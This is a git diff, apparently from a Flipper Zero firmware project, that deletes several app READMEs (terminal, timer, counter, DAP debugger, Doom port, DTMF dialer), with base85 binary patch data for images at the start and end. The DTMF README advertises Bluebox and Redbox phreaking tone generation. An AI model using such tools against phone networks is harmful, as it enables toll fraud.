z9`jsU^ckhL{7j9jgx0_%BZB}s*wO$>=>9x^R|zehYDNdaz^~UAJ`w-vYr@DN0Q}e& z&zZs0>cE5VO~5F!e=mWdHKFGXNMC7DbX%OaBvZHd60zwWqYS$Ae9Ir#y!N^+n7Ss6 zfMD5L@Y-AVa>q#I_XOgxCfrVsODbW@)gi)K{;7nl4y1;x4nZaGylDYGmbEbA+d@?d zBb{Th(iR2%_WHKsRtFA*e=Rsk`o5LCQXgPVf6G^5wKbK1n^vb$;H#|`oMzNNin}JD zQ|`DmfLQ@Y(8<%L!J1IrEMY*U`#f0l;VKbcn;HHQ;6HVrfWV}+GU^{Cv`?5Bz!u0I zBau5s;;~P-ogSA|g12Lguttdj@Agk6WOX1l?7ccb?kxEdMJ2GawiZTw!Kil!nyI-oQCCanNGM*X9>N*L`F{?b|*^^daqeL^IGxnm@DuY?FtLViym zQVFbt-qjbS3w*l2s{}OShI=Ke12Mfie1ek9HK7)?)z+GmxX0J!vBdL_VEOa45?0$O zO3;JGaV@xaQLPSErX{8OItie34V0c=V=e#OC+x90;O%;*sa6NbtVe3_ksac=SF*GD zZ%wc=Wue=b2Kes#HQ0aZbU<*u0ltdOuL-Y6BG!b%{{i(_6KTools. Opening it will result in a text prompt - the prompt for the command line. Enter a suitable command (quickly pressing the back button or holding `_` on the keyboard will input a space) such as `subghz chat [freq in hz, e.g. 310000000]`, etc, then navigate to and press the SAVE key. You should then see the command window. Use Up and Down to scroll, and use Left or Center to get back to the text input prompt. A quick tap of the back key while viewing the console output sends a Ctrl-C to the console, and a long press of the left or right keys during text input will navigate back to the console output without executing. -## Exiting the app -Holding and then releasing the back key for at least a second or so (long press) will exit the app normally, meaning that the inner terminal will send Ctrl-C and close. Any sessions will be disconnected. - - -Holding and then releasing the OK key while focusing on the console output for at least a second or so (long press) will exit the app while keeping the terminal open. Terminal output will be cleared the next time you launch the app, but whatever command or session was running previously will be resumed. This is especially handy with subghz chat - exiting the app while keeping the terminal open will not disconnect you from the chat, and the flipper will still vibrate briefly whenever a new message comes in (even if the app is closed). - - -NOTE: USB functionality (qFlipper, normal USB CLI) may not work after running the app (especially after exiting without closing the terminal), simply restart your flipper and all USB functionality will return to normal. diff --git a/applications/external/cntdown_timer/README.md b/applications/external/cntdown_timer/README.md deleted file mode 100644 index 3cd3d4d53..000000000 --- a/applications/external/cntdown_timer/README.md +++ /dev/null @@ -1,11 +0,0 @@ -## Simple count down timer application for flipper zero - -### How to use -`up/down`: set second/minute/hour value. - -`ok`: start/stop counting. - -`long press on ok`: stop counting and reset counter. - -`left/right`: select second/minute/hour value. - diff --git a/applications/external/counter/README.md b/applications/external/counter/README.md deleted file mode 100644 index 803c68634..000000000 --- a/applications/external/counter/README.md +++ /dev/null @@ -1,8 +0,0 @@ -# Dolphin counter -This is a simple plugin for the [Flipper Zero](https://www.flipperzero.one). -It gives you access to a counter which you can increment and decrement using the up and down buttons respectively. - -![preview](https://github.com/Krulknul/dolphin-counter/blob/main/media/preview.gif) - -# How to install this? -I'd recommend using [flipperzero-ufbt](https://github.com/flipperdevices/flipperzero-ufbt), which is a lightweight tool for quickly testing Flipper Zero applications. The app will stay present on your device so it is not necessary to flash the entire firmware. diff --git a/applications/external/dap_link/README.md b/applications/external/dap_link/README.md deleted file mode 100644 index aead0a60a..000000000 --- a/applications/external/dap_link/README.md +++ /dev/null @@ -1,105 +0,0 @@ -# Flipper Zero as CMSIS DAP/DAP Link -Flipper Zero as a [Free-DAP](https://github.com/ataradov/free-dap) based SWD\JTAG debugger. Free-DAP is a free and open source firmware implementation of the [CMSIS-DAP](https://www.keil.com/pack/doc/CMSIS_Dev/DAP/html/index.html) debugger. - -## Protocols -SWD, JTAG , CMSIS-DAP v1 (18 KiB/s), CMSIS-DAP v2 (46 KiB/s), VCP (USB-UART). - -WinUSB for driverless installation for Windows 8 and above. - -## Usage - -### VSCode + Cortex-Debug - Set `"device": "cmsis-dap"` - -
    - BluePill configuration example - - ```json -{ - "name": "Attach (DAP)", - "cwd": "${workspaceFolder}", - "executable": "./build/firmware.elf", - "request": "attach", - "type": "cortex-debug", - "servertype": "openocd", - "device": "cmsis-dap", - "configFiles": [ - "interface/cmsis-dap.cfg", - "target/stm32f1x.cfg", - ], -}, - ``` -
    - -
    - Flipper Zero configuration example - - ```json -{ - "name": "Attach (DAP)", - "cwd": "${workspaceFolder}", - "executable": "./build/latest/firmware.elf", - "request": "attach", - "type": "cortex-debug", - "servertype": "openocd", - "device": "cmsis-dap", - "svdFile": "./debug/STM32WB55_CM4.svd", - "rtos": "FreeRTOS", - "configFiles": [ - "interface/cmsis-dap.cfg", - "./debug/stm32wbx.cfg", - ], - "postAttachCommands": [ - "source debug/flipperapps.py", - ], -}, - ``` -
    - -### OpenOCD -Use `interface/cmsis-dap.cfg`. You will need OpenOCD v0.11.0. - -Additional commands: -* `cmsis_dap_backend hid` for CMSIS-DAP v1 protocol. -* `cmsis_dap_backend usb_bulk` for CMSIS-DAP v2 protocol. -* `cmsis_dap_serial DAP_Oyevoxo` use DAP-Link running on Flipper named `Oyevoxo`. -* `cmsis-dap cmd 81` - reboot connected DAP-Link. - -
    - Flash BluePill - - ``` -openocd -f interface/cmsis-dap.cfg -f target/stm32f1x.cfg -c init -c "program build/firmware.bin reset exit 0x8000000" - ``` -
    - -
    - Flash Flipper Zero using DAP v2 protocol - - ``` -openocd -f interface/cmsis-dap.cfg -c "cmsis_dap_backend usb_bulk" -f debug/stm32wbx.cfg -c init -c "program build/latest/firmware.bin reset exit 0x8000000" - ``` -
    - -
    - Reboot connected DAP-Link on Flipper named Oyevoxo - - ``` -openocd -f interface/cmsis-dap.cfg -c "cmsis_dap_serial DAP_Oyevoxo" -c "transport select swd" -c "adapter speed 4000000" -c init -c "cmsis-dap cmd 81" -c "exit" - ``` -
    - -### PlatformIO -Use `debug_tool = cmsis-dap` and `upload_protocol = cmsis-dap`. [Documentation](https://docs.platformio.org/en/latest/plus/debug-tools/cmsis-dap.html#debugging-tool-cmsis-dap). Remember that Windows 8 and above do not require drivers. - -
    - BluePill platformio.ini example - - ``` -[env:bluepill_f103c8] -platform = ststm32 -board = bluepill_f103c8 -debug_tool = cmsis-dap -upload_protocol = cmsis-dap - ``` -
    diff --git a/applications/external/doom/README.md b/applications/external/doom/README.md deleted file mode 100644 index 86e8d6d28..000000000 --- a/applications/external/doom/README.md +++ /dev/null @@ -1,68 +0,0 @@ -# Doom Flipper Zero edition - -
    - -## Will it run Doom? -As tradition goes, Doom is being ported to almost every possible embedded electronic device. Therefore I did an attempt to come up with something close to Doom and still compatible on the Flipper Zero's hardware.
    This is not the actual Doom game but a port made from yet another Doom port to the Arduino Nano (https://github.com/daveruiz/doom-nano/). This port is basically a raycasting engine, using Doom sprites.
    -This version is very basic and might be improved over time. - -## How to install on Flipper Zero -During the porting process, minor changes were made to the workings (and build options) of the current firmware. These changes are documented here and are necessary in order to get a working firmware build that contains this Doom port. -### Modifying the firmware & build options - * In the `sites/cc.scons` add the following values to the `CCFLAGS` section: - ``` - ... -"-Wno-unused-parameter", -"-Wno-type-limits", -"-Wno-unused-variable", -... - ``` - * In `applications/gui/canvas_i.h` comment out the following line:
    - `uint8_t* canvas_get_buffer(Canvas* canvas);` --> `//uint8_t* canvas_get_buffer(Canvas* canvas);` - - * In `applications/gui/canvas.h` add the following lines: - ``` - uint8_t* canvas_get_buffer(Canvas* canvas); - void canvas_draw_icon_bitmap(Canvas* canvas, uint8_t x, uint8_t y, int16_t w, int16_t h, const Icon* icon); - ``` - * In `applications/gui/canvas.c` add the following function: - ``` - void canvas_draw_icon_bitmap(Canvas* canvas, uint8_t x, uint8_t y, int16_t w, int16_t h, const Icon* icon){ - furi_assert(canvas); - furi_assert(icon); - - x += canvas->offset_x; - y += canvas->offset_y; - uint8_t* icon_data = NULL; - furi_hal_compress_icon_decode(icon_get_data(icon), &icon_data); - u8g2_DrawXBM(&canvas->fb, x, y, w, h, icon_data); - } - ``` - -### Installing the plugin in the firmware - * Make a folder called Doom in the applications folder. Add all the source files (also the compiled folder and it's files) in the Doom folder. - * Make the `applications/meta/application.fam` look like the following: - ``` - App( - appid="basic_plugins", - name="Basic applications for plug-in menu", - apptype=FlipperAppType.METAPACKAGE, - provides=[ - ... - "doom_game", - ... - - ], - ) - ``` - -If all went well the only thing left to do is building the firmware and installing it to the Flipper. - -## Screenshots -![Intro screen](assets/screenshot-intro2.jpg) - -![Start screen](assets/screenshot-start2.jpg) - -![Imp](assets/screenshot-imp2.jpg) - -![Medkit](assets/screenshot-medkit2.jpg) diff --git a/applications/external/dtmf_dolphin/README.md b/applications/external/dtmf_dolphin/README.md deleted file mode 100644 index 9a65a382a..000000000 --- a/applications/external/dtmf_dolphin/README.md +++ /dev/null @@ -1,18 +0,0 @@ -![Image](pics/dialer.jpg) - -[Original Link](https://github.com/litui/dtmf_dolphin) - -## DTMF Dolphin - -DTMF (Dual-Tone Multi-Frequency) dialer, Bluebox, and Redbox. - -Now in a release-ready state for both Dialer, Bluebox, and Redbox (US/UK) functionality! - -Please note that using the current tone output method, the 2600 tone is scaled about 33 Hz higher than it should be. This is a limitation of the current sample rate. - -### Educational Links: - -* http://www.phrack.org/issues/25/7.html#article -* https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling -* https://en.wikipedia.org/wiki/Blue_box -* https://en.wikipedia.org/wiki/Red_box_(phreaking) diff --git a/applications/external/dtmf_dolphin/pics/dialer.jpg b/applications/external/dtmf_dolphin/pics/dialer.jpg deleted file mode 100644 index ff6fad7a8f61b5d8a529e512b7101492b88de019..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2003305 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 